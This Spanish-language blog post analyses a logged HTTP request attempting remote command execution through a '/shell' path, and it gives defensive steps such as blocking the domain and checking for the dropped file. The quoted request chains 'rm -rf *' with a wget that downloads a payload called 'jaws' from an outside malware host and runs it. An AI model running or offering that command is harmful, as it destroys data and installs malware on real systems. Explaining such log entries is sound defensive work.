# Análisis de un Intento de Ejecución Remota de Comandos (RCE) Detectado en Logs HTTP

- Link: https://binariocero.com/linux/analisis-de-un-intento-de-ejecucion-remota-de-comandos-rce-detectado-en-logs-http
- Published: 2025-07-20T13:29:51+02:00
- Author: Binario 0

![Loading](https://binariocero.com/wp-content/plugins/page-views-count/ajax-loader-
2x.gif)

Lo que muestras es una **línea de log HTTP** que refleja un intento de explotación
vía **inyección de comandos en una URL**, probablemente registrada en los logs de
un servidor web (como Apache o Nginx):

    ```wp-block-preformatted
    GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
    ```

### Análisis detallado

 * **Método HTTP:** `GET`
 * **Recurso solicitado:** `/shell`
 * **Query string:** `cd /tmp; rm -rf *; wget scamanje.stresserit.pro/jaws; sh /
   tmp/jaws`
 * **Versión:** `HTTP/1.1`

### ¿Qué intenta hacer?

Este es un **intento de ejecución remota de comandos (RCE)** mediante la explotación
de una posible vulnerabilidad en una ruta como `/shell`, que probablemente pasa 
parámetros directamente a un intérprete de comandos, como `bash`, sin validarlos
ni sanitizarlos.

### Impacto potencial

Si tu servidor ejecuta el parámetro sin escaparlo o validarlo, puede:

 * Borrar archivos temporales: `rm -rf *`
 * Descargar malware: desde `scamanje.stresserit.pro`
 * Ejecutar el malware: `sh /tmp/jaws`

Este patrón es típico de **bots o scripts automatizados** buscando servidores mal
configurados, especialmente:

 * Aplicaciones PHP mal diseñadas
 * Backdoors o webshells
 * Frameworks vulnerables

### Recomendaciones inmediatas

 1. **Verifica si el archivo `/tmp/jaws` está presente**: 
    `ls -l /tmp/jaws`
 2. **Aísla el sistema si ves actividad anómala.**
 3. **Revisa los logs del servidor web** en 
    `/var/log/apache2/access.log`, `/var/log/
    nginx/access.log`, etc.
 4. **Aplica reglas de firewall o WAF** para bloquear el acceso al dominio `scamanje.
    stresserit.pro`.
 5. **Investiga si `/shell` es un endpoint legítimo**. Si no lo es, elimina o bloquea
    su acceso.
 6. **Actualiza todo el software del servidor.** A menudo, este tipo de ataques apunta
    a vulnerabilidades ya conocidas y parcheadas.
 7. **Sube la muestra a VirusTotal**, si tienes el archivo `jaws`, o analiza su comportamiento
    en un entorno seguro.